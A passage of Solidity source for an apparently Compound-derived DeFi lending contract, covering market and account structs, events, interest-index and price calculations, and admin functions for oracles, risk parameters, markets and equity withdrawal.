* supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18
* supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket
* totalBorrows = total amount of this asset borrowed (in asset wei)
* borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18
* borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket
* }
*/
struct Market {
bool isSupported;
uint256 blockNumber;
InterestRateModel interestRateModel;
uint256 totalSupply;
uint256 supplyRateMantissa;
uint256 supplyIndex;
uint256 totalBorrows;
uint256 borrowRateMantissa;
uint256 borrowIndex;
}
/**
* @dev wethAddress to hold the WETH token contract address
* set using setWethAddress function
*/
address private wethAddress;
/**
* @dev Initiates the contract for supply and withdraw Ether and conversion to WETH
*/
AlkemiWETH public WETHContract;
/**
* @dev map: assetAddress -> Market
*/
mapping(address => Market) public markets;
/**
* @dev list: collateralMarkets
*/
address[] public collateralMarkets;
/**
* @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This
* is initially set in the constructor, but can be changed by the admin.
*/
Exp public collateralRatio;
/**
* @dev originationFee for new borrows.
*
*/
Exp public originationFee;
/**
* @dev liquidationDiscount for collateral when liquidating borrows
*
*/
Exp public liquidationDiscount;
/**
* @dev flag for whether or not contract is paused
*
*/
bool public paused;
/**
* The `SupplyLocalVars` struct is used internally in the `supply` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct SupplyLocalVars {
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
}
/**
* The `WithdrawLocalVars` struct is used internally in the `withdraw` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct WithdrawLocalVars {
uint256 withdrawAmount;
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
uint256 withdrawCapacity;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfWithdrawal;
}
// The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function.
struct AccountValueLocalVars {
address assetAddress;
uint256 collateralMarketsLength;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Exp supplyTotalValue;
Exp sumSupplies;
Exp borrowTotalValue;
Exp sumBorrows;
}
// The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function.
struct PayBorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 repayAmount;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
}
// The `BorrowLocalVars` struct is used internally in the `borrow` function.
struct BorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 borrowAmountWithFee;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfBorrowAmountWithFee;
}
// The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function.
struct LiquidateLocalVars {
// we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.`
address targetAccount;
address assetBorrow;
address liquidator;
address assetCollateral;
// borrow index and supply index are global to the asset, not specific to the user
uint256 newBorrowIndex_UnderwaterAsset;
uint256 newSupplyIndex_UnderwaterAsset;
uint256 newBorrowIndex_CollateralAsset;
uint256 newSupplyIndex_CollateralAsset;
// the target borrow's full balance with accumulated interest
uint256 currentBorrowBalance_TargetUnderwaterAsset;
// currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation
uint256 updatedBorrowBalance_TargetUnderwaterAsset;
uint256 newTotalBorrows_ProtocolUnderwaterAsset;
uint256 startingBorrowBalance_TargetUnderwaterAsset;
uint256 startingSupplyBalance_TargetCollateralAsset;
uint256 startingSupplyBalance_LiquidatorCollateralAsset;
uint256 currentSupplyBalance_TargetCollateralAsset;
uint256 updatedSupplyBalance_TargetCollateralAsset;
// If liquidator already has a balance of collateralAsset, we will accumulate
// interest on it before transferring seized collateral from the borrower.
uint256 currentSupplyBalance_LiquidatorCollateralAsset;
// This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any)
// plus the amount seized from the borrower.
uint256 updatedSupplyBalance_LiquidatorCollateralAsset;
uint256 newTotalSupply_ProtocolCollateralAsset;
uint256 currentCash_ProtocolUnderwaterAsset;
uint256 updatedCash_ProtocolUnderwaterAsset;
// cash does not change for collateral asset
uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset;
uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset;
// Why no variables for the interest rates for the collateral asset?
// We don't need to calculate new rates for the collateral asset since neither cash nor borrows change
uint256 discountedRepayToEvenAmount;
//[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral)
uint256 discountedBorrowDenominatedCollateral;
uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset;
uint256 closeBorrowAmount_TargetUnderwaterAsset;
uint256 seizeSupplyAmount_TargetCollateralAsset;
uint256 reimburseAmount;
Exp collateralPrice;
Exp underwaterAssetPrice;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows
*/
mapping(address => mapping(address => uint256))
public originationFeeBalance;
/**
* @dev Reward Control Contract address
*/
RewardControlInterface public rewardControl;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
/// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 public _guardCounter;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
/**
* @dev emitted when a supply is received
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyReceived(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a origination fee supply is received as admin
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyOrgFeeAsAdmin(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a supply is withdrawn
* Note: startingBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyWithdrawn(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a new borrow is taken
* Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change
*/
event BorrowTaken(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 borrowAmountWithFee,
uint256 newBalance
);
/**
* @dev emitted when a borrow is repaid
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event BorrowRepaid(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a borrow is liquidated
* targetAccount = user whose borrow was liquidated
* assetBorrow = asset borrowed
* borrowBalanceBefore = borrowBalance as most recently stored before the liquidation
* borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountRepaid = amount of borrow repaid
* liquidator = account requesting the liquidation
* assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan
* borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid)
* collateralBalanceBefore = collateral balance as most recently stored before the liquidation
* collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountSeized = amount of collateral seized by liquidator
* collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized)
* assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3
*/
event BorrowLiquidated(
address indexed targetAccount,
address assetBorrow,
uint256 borrowBalanceAccumulated,
uint256 amountRepaid,
address indexed liquidator,
address assetCollateral,
uint256 amountSeized
);
/**
* @dev emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address indexed oldAdmin, address indexed newAdmin);
/**
* @dev emitted when new market is supported by admin
*/
event SupportedMarket(
address indexed asset,
address indexed interestRateModel
);
/**
* @dev emitted when risk parameters are changed by admin
*/
event NewRiskParameters(
uint256 oldCollateralRatioMantissa,
uint256 newCollateralRatioMantissa,
uint256 oldLiquidationDiscountMantissa,
uint256 newLiquidationDiscountMantissa
);
/**
* @dev emitted when origination fee is changed by admin
*/
event NewOriginationFee(
uint256 oldOriginationFeeMantissa,
uint256 newOriginationFeeMantissa
);
/**
* @dev emitted when market has new interest rate model set
*/
event SetMarketInterestRateModel(
address indexed asset,
address indexed interestRateModel
);
/**
* @dev emitted when admin withdraws equity
* Note that `equityAvailableBefore` indicates equity before `amount` was removed.
*/
event EquityWithdrawn(
address indexed asset,
uint256 equityAvailableBefore,
uint256 amount,
address indexed owner
);
/**
* @dev Simple function to calculate min between two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
/**
* @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse.
* Note: this will not add the asset if it already exists.
*/
function addCollateralMarket(address asset) internal {
for (uint256 i = 0; i < collateralMarkets.length; i++) {
if (collateralMarkets[i] == asset) {
return;
}
}
collateralMarkets.push(asset);
}
/**
* @notice return the number of elements in `collateralMarkets`
* @dev you can then externally call `collateralMarkets(uint)` to pull each market address
* @return the length of `collateralMarkets`
*/
function getCollateralMarketsLength() public view returns (uint256) {
return collateralMarkets.length;
}
/**
* @dev Calculates a new supply/borrow index based on the prevailing interest rates applied over time
* This is defined as `we multiply the most recent supply/borrow index by (1 + blocks times rate)`
* @return Return value is expressed in 1e18 scale
*/
function calculateInterestIndex(
uint256 startingInterestIndex,
uint256 interestRateMantissa,
uint256 blockStart,
uint256 blockEnd
) internal pure returns (Error, uint256) {
// Get the block delta
(Error err0, uint256 blockDelta) = sub(blockEnd, blockStart);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
// Scale the interest rate times number of blocks
// Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.`
(Error err1, Exp memory blocksTimesRate) = mulScalar(
Exp({mantissa: interestRateMantissa}),
blockDelta
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
// Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0)
(Error err2, Exp memory onePlusBlocksTimesRate) = addExp(
blocksTimesRate,
Exp({mantissa: mantissaOne})
);
if (err2 != Error.NO_ERROR) {
return (err2, 0);
}
// Then scale that accumulated interest by the old interest index to get the new interest index
(Error err3, Exp memory newInterestIndexExp) = mulScalar(
onePlusBlocksTimesRate,
startingInterestIndex
);
if (err3 != Error.NO_ERROR) {
return (err3, 0);
}
// Finally, truncate the interest index. This works only if interest index starts large enough
// that is can be accurately represented with a whole number.
return (Error.NO_ERROR, truncate(newInterestIndexExp));
}
/**
* @dev Calculates a new balance based on a previous balance and a pair of interest indices
* This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex
* value and divided by the user's checkpoint index value`
* @return Return value is expressed in 1e18 scale
*/
function calculateBalance(
uint256 startingBalance,
uint256 interestIndexStart,
uint256 interestIndexEnd
) internal pure returns (Error, uint256) {
if (startingBalance == 0) {
// We are accumulating interest on any previous balance; if there's no previous balance, then there is
// nothing to accumulate.
return (Error.NO_ERROR, 0);
}
(Error err0, uint256 balanceTimesIndex) = mul(
startingBalance,
interestIndexEnd
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return div(balanceTimesIndex, interestIndexStart);
}
/**
* @dev Gets the price for the amount specified of the given asset.
* @return Return value is expressed in a magnified scale per token decimals
*/
function getPriceForAssetAmount(address asset, uint256 assetAmount)
internal
view
returns (Error, Exp memory)
{
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth
}
/**
* @dev Gets the price for the amount specified of the given asset multiplied by the current
* collateral ratio (i.e., assetAmountWei * collateralRatio * oraclePrice = totalValueInEth).
* We will group this as `(oraclePrice * collateralRatio) * assetAmountWei`
* @return Return value is expressed in a magnified scale per token decimals
*/
function getPriceForAssetAmountMulCollatRatio(
address asset,
uint256 assetAmount
) internal view returns (Error, Exp memory) {
Error err;
Exp memory assetPrice;
Exp memory scaledPrice;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
// Now, multiply the assetValue by the collateral ratio
(err, scaledPrice) = mulExp(collateralRatio, assetPrice);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
// Get the price for the given asset amount
return mulScalar(scaledPrice, assetAmount);
}
/**
* @dev Calculates the origination fee added to a given borrowAmount
* This is simply `(1 + originationFee) * borrowAmount`
* @return Return value is expressed in 1e18 scale
*/
function calculateBorrowAmountWithFee(uint256 borrowAmount)
internal
view
returns (Error, uint256)
{
// When origination fee is zero, the amount with fee is simply equal to the amount
if (isZeroExp(originationFee)) {
return (Error.NO_ERROR, borrowAmount);
}
(Error err0, Exp memory originationFeeFactor) = addExp(
originationFee,
Exp({mantissa: mantissaOne})
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
(Error err1, Exp memory borrowAmountWithFee) = mulScalar(
originationFeeFactor,
borrowAmount
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
return (Error.NO_ERROR, truncate(borrowAmountWithFee));
}
/**
* @dev fetches the price of asset from the PriceOracle and converts it to Exp
* @param asset asset whose price should be fetched
* @return Return value is expressed in a magnified scale per token decimals
*/
function fetchAssetPrice(address asset)
internal
view
returns (Error, Exp memory)
{
if (priceOracle == address(0)) {
return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0}));
}
if (priceOracle.paused()) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
(uint256 priceMantissa, uint8 assetDecimals) = priceOracle
.getAssetPrice(asset);
(Error err, uint256 magnification) = sub(18, uint256(assetDecimals));
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
(err, priceMantissa) = mul(priceMantissa, 10**magnification);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: priceMantissa}));
}
/**
* @notice Reads scaled price of specified asset from the price oracle
* @dev Reads scaled price of specified asset from the price oracle.
* The plural name is to match a previous storage mapping that this function replaced.
* @param asset Asset whose price should be retrieved
* @return 0 on an error or missing price, the price scaled by 1e18 otherwise
*/
function assetPrices(address asset) public view returns (uint256) {
(Error err, Exp memory result) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return 0;
}
return result.mantissa;
}
/**
* @dev Gets the amount of the specified asset given the specified Eth value
* ethValue / oraclePrice = assetAmountWei
* If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0)
* @return Return value is expressed in a magnified scale per token decimals
*/
function getAssetAmountForValue(address asset, Exp ethValue)
internal
view
returns (Error, uint256)
{
Error err;
Exp memory assetPrice;
Exp memory assetAmount;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, assetAmount) = divExp(ethValue, assetPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(assetAmount));
}
/**
* @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin
* @param newOracle New oracle address
* @param requestedState value to assign to `paused`
* @param originationFeeMantissa rational collateral ratio, scaled by 1e18.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _adminFunctions(
address newPendingAdmin,
address newOracle,
bool requestedState,
uint256 originationFeeMantissa,
uint256 newCloseFactorMantissa
) public returns (uint256) {
// Check caller = admin
require(msg.sender == admin, "SET_PENDING_ADMIN_OWNER_CHECK");
// newPendingAdmin can be 0x00, hence not checked
require(newOracle != address(0), "Cannot set weth address to 0x00");
require(
originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18,
"Invalid Origination Fee or Close Factor Mantissa"
);
// Store pendingAdmin = newPendingAdmin
pendingAdmin = newPendingAdmin;
// Verify contract at newOracle address supports assetPrices call.
// This will revert if it doesn't.
// ChainLink priceOracleTemp = ChainLink(newOracle);
// priceOracleTemp.getAssetPrice(address(0));
// Initialize the Chainlink contract in priceOracle
priceOracle = ChainLink(newOracle);
paused = requestedState;
// Save current value so we can emit it in log.
Exp memory oldOriginationFee = originationFee;
originationFee = Exp({mantissa: originationFeeMantissa});
emit NewOriginationFee(
oldOriginationFee.mantissa,
originationFeeMantissa
);
closeFactorMantissa = newCloseFactorMantissa;
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint256) {
// Check caller = pendingAdmin
// msg.sender can't be zero
require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK");
// Save current value for inclusion in log
address oldAdmin = admin;
// Store admin = pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = 0;
emit NewAdmin(oldAdmin, msg.sender);
return uint256(Error.NO_ERROR);
}
/**
* @notice returns the liquidity for given account.
* a positive result indicates ability to borrow, whereas
* a negative result indicates a shortfall which may be liquidated
* @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0
* note: this includes interest trued up on all balances
* @param account the account to examine
* @return signed integer in terms of eth-wei (negative indicates a shortfall)
*/
function getAccountLiquidity(address account) public view returns (int256) {
(
Error err,
Exp memory accountLiquidity,
Exp memory accountShortfall
) = calculateAccountLiquidity(account);
revertIfError(err);
if (isZeroExp(accountLiquidity)) {
return -1 * int256(truncate(accountShortfall));
} else {
return int256(truncate(accountLiquidity));
}
}
/**
* @notice return supply balance with any accumulated interest for `asset` belonging to `account`
* @dev returns supply balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose supply balance belonging to `account` should be checked
* @return uint supply balance on success, throws on failed assertion otherwise
*/
function getSupplyBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[account][asset];
// Calculate the newSupplyIndex, needed to calculate user's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
newSupplyIndex
);
revertIfError(err);
return userSupplyCurrent;
}
/**
* @notice return borrow balance with any accumulated interest for `asset` belonging to `account`
* @dev returns borrow balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose borrow balance belonging to `account` should be checked
* @return uint borrow balance on success, throws on failed assertion otherwise
*/
function getBorrowBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[account][asset];
// Calculate the newBorrowIndex, needed to calculate user's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
newBorrowIndex
);
revertIfError(err);
return userBorrowCurrent;
}
/**
* @notice Supports a given market (asset) for use
* @dev Admin function to add support for a market
* @param asset Asset to support; MUST already have a non-zero price set
* @param interestRateModel InterestRateModel to use for the asset
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _supportMarket(address asset, InterestRateModel interestRateModel)
public
returns (uint256)
{
// Check caller = admin
require(msg.sender == admin, "SUPPORT_MARKET_OWNER_CHECK");
require(interestRateModel != address(0), "Rate Model cannot be 0x00");
// Hard cap on the maximum number of markets allowed
require(
collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED
"Exceeding the max number of markets allowed"
);
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED);
}
if (isZeroExp(assetPrice)) {
return
fail(
Error.ASSET_NOT_PRICED,
FailureInfo.SUPPORT_MARKET_PRICE_CHECK
);
}
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
// Append asset to collateralAssets if not set
addCollateralMarket(asset);
// Set market isSupported to true
markets[asset].isSupported = true;
// Default supply and borrow index to 1e18
if (markets[asset].supplyIndex == 0) {
markets[asset].supplyIndex = initialInterestIndex;
}
if (markets[asset].borrowIndex == 0) {
markets[asset].borrowIndex = initialInterestIndex;
}
emit SupportedMarket(asset, interestRateModel);
return uint256(Error.NO_ERROR);
}
/**
* @notice Suspends a given *supported* market (asset) from use.
* Assets in this state do count for collateral, but users may only withdraw, payBorrow,
* and liquidate the asset. The liquidate function no longer checks collateralization.
* @dev Admin function to suspend a market
* @param asset Asset to suspend
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _suspendMarket(address asset) public returns (uint256) {
// Check caller = admin
require(msg.sender == admin, "SUSPEND_MARKET_OWNER_CHECK");
// If the market is not configured at all, we don't want to add any configuration for it.
// If we find !markets[asset].isSupported then either the market is not configured at all, or it
// has already been marked as unsupported. We can just return without doing anything.
// Caller is responsible for knowing the difference between not-configured and already unsupported.
if (!markets[asset].isSupported) {
return uint256(Error.NO_ERROR);
}
// If we get here, we know market is configured and is supported, so set isSupported to false
markets[asset].isSupported = false;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the risk parameters: collateral ratio and liquidation discount
* @dev Owner function to set the risk parameters
* @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1
* @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setRiskParameters(
uint256 collateralRatioMantissa,
uint256 liquidationDiscountMantissa
) public returns (uint256) {
// Check caller = admin
require(msg.sender == admin, "SET_RISK_PARAMETERS_OWNER_CHECK");
// Input validations
require(
collateralRatioMantissa >= minimumCollateralRatioMantissa &&
liquidationDiscountMantissa <=
maximumLiquidationDiscountMantissa,
"Liquidation discount is more than max discount or collateral ratio is less than min ratio"
);
Exp memory newCollateralRatio = Exp({
mantissa: collateralRatioMantissa
});
Exp memory newLiquidationDiscount = Exp({
mantissa: liquidationDiscountMantissa
});
Exp memory minimumCollateralRatio = Exp({
mantissa: minimumCollateralRatioMantissa
});
Exp memory maximumLiquidationDiscount = Exp({
mantissa: maximumLiquidationDiscountMantissa
});
Error err;
Exp memory newLiquidationDiscountPlusOne;
// Make sure new collateral ratio value is not below minimum value
if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) {
return
fail(
Error.INVALID_COLLATERAL_RATIO,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the
// existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential.
if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) {
return
fail(
Error.INVALID_LIQUIDATION_DISCOUNT,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount`
// C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount`
(err, newLiquidationDiscountPlusOne) = addExp(
newLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
assert(err == Error.NO_ERROR); // We already validated that newLiquidationDiscount does not approach overflow size
if (
lessThanOrEqualExp(
newCollateralRatio,
newLiquidationDiscountPlusOne
)
) {
return
fail(
Error.INVALID_COMBINED_RISK_PARAMETERS,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Save current values so we can emit them in log.
Exp memory oldCollateralRatio = collateralRatio;
Exp memory oldLiquidationDiscount = liquidationDiscount;
// Store new values
collateralRatio = newCollateralRatio;
liquidationDiscount = newLiquidationDiscount;
emit NewRiskParameters(
oldCollateralRatio.mantissa,
collateralRatioMantissa,
oldLiquidationDiscount.mantissa,
liquidationDiscountMantissa
);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the interest rate model for a given market
* @dev Admin function to set interest rate model
* @param asset Asset to support
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setMarketInterestRateModel(
address asset,
InterestRateModel interestRateModel
) public returns (uint256) {
// Check caller = admin
require(
msg.sender == admin,
"SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK"
);
require(interestRateModel != address(0), "Rate Model cannot be 0x00");
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
emit SetMarketInterestRateModel(asset, interestRateModel);
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply
* @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply
* @param asset asset whose equity should be withdrawn
* @param amount amount of equity to withdraw; must not exceed equity available
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _withdrawEquity(address asset, uint256 amount)
public
returns (uint256)
{
// Check caller = admin
require(msg.sender == admin, "EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK");
// Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply.
// Get supply and borrows with interest accrued till the latest block
(
uint256 supplyWithInterest,
uint256 borrowWithInterest
) = getMarketBalances(asset);
(Error err0, uint256 equity) = addThenSub(
getCash(asset),
borrowWithInterest,
supplyWithInterest
);
if (err0 != Error.NO_ERROR) {
return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY);
}
if (amount > equity) {
return
fail(
Error.EQUITY_INSUFFICIENT_BALANCE,
FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset out of the protocol to the admin
Error err2 = doTransferOut(asset, admin, amount);
if (err2 != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return
fail(
err2,
FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED
);
}
} else {
withdrawEther(admin, amount); // send Ether to user
}
(, markets[asset].supplyRateMantissa) = markets[asset]
.interestRateModel
.getSupplyRate(
asset,
getCash(asset) - amount,
markets[asset].totalSupply
);
(, markets[asset].borrowRateMantissa) = markets[asset]
.interestRateModel
.getBorrowRate(
asset,
getCash(asset) - amount,
markets[asset].totalBorrows
);
//event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner)
emit EquityWithdrawn(asset, equity, amount, admin);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Set WETH token contract address
* @param wethContractAddress Enter the WETH token address
*/
function setWethAddress(address wethContractAddress)
public
returns (uint256)
{
// Check caller = admin
require(msg.sender == admin, "SET_WETH_ADDRESS_ADMIN_CHECK_FAILED");
require(
wethContractAddress != address(0),
"Cannot set weth address to 0x00"
);
wethAddress = wethContractAddress;
WETHContract = AlkemiWETH(wethAddress);
return uint256(Error.NO_ERROR);
}
/**
* @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user
* @return errors if any
* @param etherAmount Amount of ether to be converted to WETH
* @param user User account address
*/
function supplyEther(address user, uint256 etherAmount)
internal
returns (uint256)
{
user; // To silence the warning of unused local variable
if (wethAddress != address(0)) {
